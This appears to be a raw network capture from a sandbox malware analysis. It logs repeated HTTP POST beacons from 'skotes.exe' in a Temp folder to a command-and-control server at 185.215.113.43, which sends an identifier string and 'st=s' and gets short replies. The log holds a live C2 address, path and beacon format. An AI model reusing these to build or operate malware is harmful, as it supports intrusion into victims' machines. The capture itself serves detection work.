Nov 21, 2024 03:13:09.525165081 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:10.914781094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50342	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:12.661894083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:14.016421080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50345	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:15.657740116 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:17.017368078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50348	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:18.753873110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:20.137876034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50351	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:21.769045115 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:23.173970938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50354	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:24.943250895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:29.334642887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50355	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:30.977458954 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:32.367589951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50356	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:34.113389015 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:35.550117970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50357	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:37.189140081 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:38.642220020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50358	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:40.385716915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:41.846002102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50359	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:43.483069897 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:44.828829050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50362	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:46.579915047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:47.937088013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50365	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:49.575748920 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:50.966958046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50367	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:52.711911917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:13:54.121241093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50370	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:55.761360884 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:13:57.116908073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50373	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:13:58.866111994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:00.268027067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50376	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:01.907505989 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:03.354986906 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50382	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:05.099246979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:06.546984911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50385	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:08.176485062 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:09.620057106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50388	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:11.352726936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:12.691261053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50391	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:14.327047110 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:15.668827057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50394	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:17.402892113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:14:18.804018021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50397	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:14:20.437319994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:14:21.849309921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50400	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
